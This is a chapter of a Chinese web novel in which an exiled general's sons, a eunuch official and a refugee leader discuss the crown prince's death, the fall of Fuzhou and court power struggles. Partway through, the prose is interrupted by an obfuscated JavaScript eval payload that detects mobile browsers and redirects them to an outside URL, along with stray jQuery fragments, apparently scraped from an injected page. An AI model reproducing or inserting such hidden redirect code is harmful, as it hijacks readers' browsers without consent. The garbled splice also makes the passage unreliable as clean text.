47.你是懂用兵的
作品:《落草为寇,但登基了》 高承翊依旧不语。
温寻墨道:“其实你没有什么好考虑的,现在除了我,你没有别的选择。当然,我也一样。毕竟我不能把他们交给那些与我以利相合的官员。”
人命与人命的盟约,的确只有高承翊最靠得住。
“除非我们俩都能眼睁睁的,看着他们所有人无容身之地,无果腹之食,饿死街头。”
温寻墨这话说完,孔详的脸色也暗了下去。
没了庄子,没了地,他们那些人,只能各自分散找生路,男人们大多数会被抓去充兵打仗,战场上生死有命,他们想跟着高琰、高承翊,把家乡打回来,而不是跟着不信任的人送命。
女人们要么要饭,要么继续做皮肉生意。
已过了一个月的安稳日子了,每日砌墙种地,大家苦是苦了点,但有田地耕种,有瓦片遮身,都是有盼头的。
不过孔详也知道,这所谓的盼头,风雨飘摇。那块风水宝地,他们没有靠山,没有足够的兵力是保不下来的。
土匪寨子富一点儿,官府都得去剿匪。
真能安心当土匪的,要么是在深山老林,靠着十天半个月才能劫来的一点钱财、吃食当野人猴子。要么是和地方官府勾结,银子送足了,有人撑腰,才能干拦路收银的活计。
比如刘具,没有市舶司的汪簇,他开不了赌场。
孔详问:“燕王来了,抚州能打回来吗?”
温寻墨喝了一口茶:“抚州城那边,开始不算大事儿,可恰恰因此,出了大乱子。”
“一城沦陷,不算大事?”高承翊道,“只有皇帝儿子死了,才是大乱子?”
温寻墨赞许的点头:“你还算头脑清晰,对形势看的很清楚。陛下富有四海,我大渊疆土广阔,半个省的得失和国储的性命,于皇帝于朝廷而言,自然是国储更重要。”
高承翊道:“半个省,四个州县而已。儿子…呵,他不是还有儿子嘛,燕王。”
温寻墨笑了笑:“燕王是燕王,东宫是东宫。太子亲征,自是有要将抚州好好收回来的打算,且对此事成竹在胸,若真是龙潭虎穴,满朝文武和当今圣上又怎舍得让国储上战场呢?他是皇子,他的性命关乎国祚,甚至会决定整个大渊将来数十载的兴亡。”
这说法自开始就有,民间也有流传,水寇好打,抚州沦陷是意外,太子来前线转一圈,将领们打赢后,他可顶个头功回去。
此功绩可稳固其地位,往后登基也是陛下骁勇善战的美谈。
故而,自高承翊听到了太子亲征这件事开始,又有他被太子所派太监喂药之事佐证,他便怀疑,抚州被敌袭的事,是太子和周季修两人的监守自盗。
攻城的火炮,连弩,投石机,甚至还有那数百桶的猛火油,都不是突袭就能带上的。骑兵轻装,急速行军,攻敌不备是突袭。
知道地形,深山隐蔽,突然出现,还知道趁着总督不在,攻城器具一应俱全,盯着最薄弱的城门,那就是准备良久。
地形图,布防图,高琰在京城的消息,是谁给的?
是谁教他们躲进的大岳山?躲了多久,才能将那么多的东西,自海上运进山里,藏在城门周围?
这么大的动静,是没人发现,还是发现了,却视而不见?
周季修不可能一个人干这事儿,他要前程,要富贵荣华,要封妻荫子。
可当让他那么干的是太子,就不同了。他可以立马放弃高琰这条船,去和太子同舟共济。
当一国储君,要用战功才能坐稳诸君之位时,说明出现了一个对他的国储地位,有很大威胁的人——燕王。
他们两人本就在争夺抚州的港口。或许皇帝的心也在这两人中间徘徊。
太子先出手了,他不想让燕王拿走抚州的港口,更不满和燕王一党的高琰。
如果江山都不再是他的,那要江南何用?
高承翊在被宋遥救出军营大牢时,就想通了这点,他知道父亲的污名是洗不干净的,他们全家都完了,所以才让宋遥别跟着他。
他当时就想去把弟弟母亲找来,去笠安的深山里躲一辈子。
国土轻易沦陷,是因有人通敌,但绝不能是太子通敌,如此皇家颜面何存?
光盛帝就知道,这场浩劫,是他的两个儿子在斗法。
所以只能是高琰通敌。
他们被这个自以为是的计谋,圈在里头杀。
而今,设下此计的人——太子,死了。
他的计谋没有得逞,抚州还没打回来。他像个笑话,打散了自己的部队,还丢掉了自己的小命。
当然,太子这样做开始必定是瞒着皇帝的,可事发后,皇帝只需稍微查一查,便会知道太子的意图和其中猫腻,他被架着没了办法。
又觉得这既是太子的计划,他必定能稳回局势,便顺势关押了高琰,让太子去亲征抚州。等他把这件事办好,圆回来,抚州城是他打下来的,港口自然也交给他。
这是太子的一记杀着。
待到那时,无论是港口、抚州,还是这天下,都跟燕王没关系了。
可皇帝把儿子陪进去了,半个省也没了。
如何跟满朝文武和天下人交代呢?
反正高琰已经当了替罪羊,不如罪加一等,再把他的儿子,抓回来吧。
孔详是不知其中含义,只能理解字面之意的,便问道:“胸有成竹又怎么会败?太子到底是怎么死的,你知道吗?”
“自古失败唯有两因,一曰自大,一曰轻敌。”温寻墨敲着扇子,看不出什么情绪。
高承翊想,太子必定是许了什么好处给太栉国,让他们陪他演一场戏,结果戏不仅演大了,还演砸了。
引贼入室,贼不走了。
温寻墨:“至于他是怎么死的,恕我无可奉告。”
孔详道:“那这燕王来,能把抚州打回来吗?”
温寻墨问:“你还想带着人,投入燕王麾下,打回抚州?”
孔详不语,可他们那些人,谁不是日日夜夜思念着故土?
温寻墨看向高承翊:“我不能枉议朝政,大公子高见呢?说起燕王殿下,他和你父亲,倒是颇有渊源。”他说这话时,看向了正在喝汤的高濯衡。
高承翊对他看高濯衡这事没多大反应。
温寻墨当即明白:这位大公子,是真的什么都不知道。
上命让他押送高承翊回京,却说要护送小公子。对小公子需妥善照料,且要在燕王入越州前,离开越州。不可让燕王与小公子见面。
圣谕就叫他‘小公子’。
“岷江边的驻防,是他下令的吧。”高承翊道,“既然要打,骑兵急攻,水军绕后断其辎重补给,两面夹击,佐以火炮猛攻城墙,那抚州城只是岸上孤岛,最多一月就可拿下。为何分兵驻防?把水寇赶回海上,需要驻防的地方是海岸线,不是本就在内陆的岷江。”
“你是懂用兵的。”温寻墨道,“可你不懂如何当帝王。”
高濯衡不知何时已经停下了吃饭的手,坐在一旁,仔细的听他们的对话。
“什么意思?”高承翊问。
回答他的,是他十岁的弟弟:“皇帝会给太子十万兵,但不会给燕王那么多。”
温寻墨赞许的看着高濯衡:“嗯,好聪明。”
高濯衡道:“我想,抚州应是打不回来了。”
孔详和宋遥都不解:“为何?”
“在岷江边驻防的意思就是,不打了。”高濯衡道,“兔死狗烹,父亲才击败水寇,晏江的兵就被调走了一半。这位燕王若真的把抚州打回来,赢得了民心,军心,就算他是个本分的人,皇帝都会怕他。”
一个本就对皇位有觊觎的皇子,带着兵马,收回了太子都无法收回的失地,他手握重兵,赢得民心,又掌握了抚州港口,接下来,会干什么?
那当今还能是当今吗?
太上皇只是听起来好听,自古天家父子,都是要提防着彼此的。
高濯衡的话没有说全,或许这太子之死,就是燕王的手笔。
此招虽险,可太子死了,燕王是唯一的受益者。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217106|195711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高濯衡能想到,皇帝也能想到,又如何能给这样一个虎视眈眈的儿子,太多的兵权呢?
不过于燕王而言,谋反不是简单的,这件事意味着,只有成功和死两条路可选。
要去对抗一路的关隘,城门,并背负造反骂名。
他本就是皇子,太子已经死了,他并非没有机会继承大统,冒险是走投无路的无奈之举。
他如今还有荣华富贵可享,有娇妻美妾成群,贸然造反很不划算。
稳妥的做法,就是乖乖的守着江岸,不让皇帝猜忌,他可再多积攒几年,无论是兵力、钱粮,还有百官的言论的风向,他都可以等。
若确定了真轮不上他,再一举收复抚州,得两江民心,以清君侧之名,举兵北上也不迟。还能落两滴泪,控诉父皇年迈被奸臣诓骗,多年不给他兵力,收复失地。
什么,你说那半个省呢?
就不要了吗?
只是半个省而已,只是几只水猴子而已。况且,这抚州是太子拱手送出的,关他什么事?
圣心难测,他若真傻傻的去打了胜仗,结果便是:表面上拿些赏银,实则被亲生父亲死死提防,被迫交出兵权,滚回去坐冷板凳。
或许在冷板凳上能等来父皇死后的皇位,但哪有权力拿在自己手上,来的舒坦。
得不偿失,他多年耕耘,可能会因此白费,就像如今在诏狱中的高琰一样。
而皇帝呢,温寻墨说的对,大渊疆土广阔,有没有抚州他都是皇帝,这是一时的得失,往后他若有更好,更忠诚的人选,自会派那人去收回失地。
归根结底,他们都是要保住自己的权力,没人把抚州当回事。
盛世时,富贵温柔乡和百舸争渡的港口是锦上添花。如今,把中枢的权利,死死握在手中,才是坐稳皇位,保全自身的方法。
高濯衡想到这里,起了一身的鸡皮疙瘩。
高承翊轻抚了高濯衡的额发,是他聊胜于无的安慰。
宋遥这才明白,当时高承翊说的,高琰忠了不义之人是什么意思。
当一个天子和他儿子,还有那满朝文武,只看着他们手上的权力,不顾百姓死活的时候,气数也该尽了。
菜凉了,他们三个的心也是凉的。
温寻墨道:“往好处想吧,或许陛下会再用回你们父子二人。”
高家两兄弟只当他是随口安慰,这种不符合逻辑奇怪的话,怎么可能是真的。也没去想为什么是父子二人,不是父子三人?
可温寻墨还真是认真的,只不过带有一点点的欺骗,非是父子,而仅仅是高承翊一个。
因为杀父用子,是当权者喜欢的掌控权力的方式。
比如他,明明可以让他死,却要让他效忠,让他为皇室所用,又用罪臣之子的身份,永远打压着他。
让他只能干活,不敢多言。
他痛苦,他愤怒,却无济于事,一个太监,揽些权,贪些财,搅动一点点的朝局,若皇帝发话,他也就要交出钱财,引颈受戮了。
哦,不是。
太监不是引颈受戮,太监的死法是——凌迟。
三千多刀,受完后还能有下辈子吗?
一餐饭已经吃到了尾声,温寻墨道:“我的人在山庄,会听从管束,会和山庄中所有人一样,参与劳作。等稳定后,难民和残兵会有重录黄册的机会,我可以帮庄子里所有人,拿到越州的户籍。”
他站起身:“人会陆续到,远儿会安排接应,还请孔百户准备好他们下榻的屋舍。”
原本的佃户们挤在几间破屋,后来高承翊把刘具的大院子分了出去。
现今里头一间一间隔着,住的比较杂乱。
有拖家带口的,就趁着修城墙烧砖头,也烧些砖,圈块平地,砍些木头,搭间自己的屋子。
高承翊看见了,就打算等秋收后,划出几块地,盖些成片的房子,好让他们一家一家分开住。
孔详看向高承翊。
高承翊苦笑一声:“我想,温公公是不打算让我回去了。”

